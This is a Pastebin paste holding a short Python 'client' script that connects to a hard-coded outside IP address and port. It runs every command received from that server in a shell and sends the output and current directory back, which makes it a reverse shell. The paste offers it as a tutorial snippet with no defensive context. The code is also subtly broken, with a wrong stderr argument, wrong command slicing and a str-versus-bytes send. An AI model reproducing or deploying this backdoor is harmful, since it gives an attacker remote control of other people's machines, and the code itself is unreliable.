Advertisement
BornePlays

Modules: socket, os, subprocess | Creating a client

May 7th, 2016
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.82 KB | None | 0 0
  1.  
  2. import socket
  3. import os
  4. import subprocess
  5.  
  6. s = socket.socket()
  7. host = '2.29.71.4'
  8. port = 9999
  9. s.connect((host, port))
  10.  
  11. while True:
  12. #data received from server
  13. data = s.recv(1024)
  14. #changes directory
  15. if data[:2].decode('utf-8') == 'cd':
  16. os.chdir(data[3:].decode('utf-8'))
  17. if len(data) > 0:
  18. cmd = subprocess.Popen(data[3:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess)
  19.  
  20. #Bytes version of output
  21. output_bytes = cmd.stdout.read() + cmd.stderr.read()
  22. #String version to be sent over server UTF-8 = basic string encoding
  23. output_str = str(output_bytes, 'utf-8')
  24. # Returns current directory in terminal
  25. s.send(output_str + str(os.getcwd() + '> '))
  26. print(output_str)
  27.  
  28.  
  29. #Close connection
  30. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement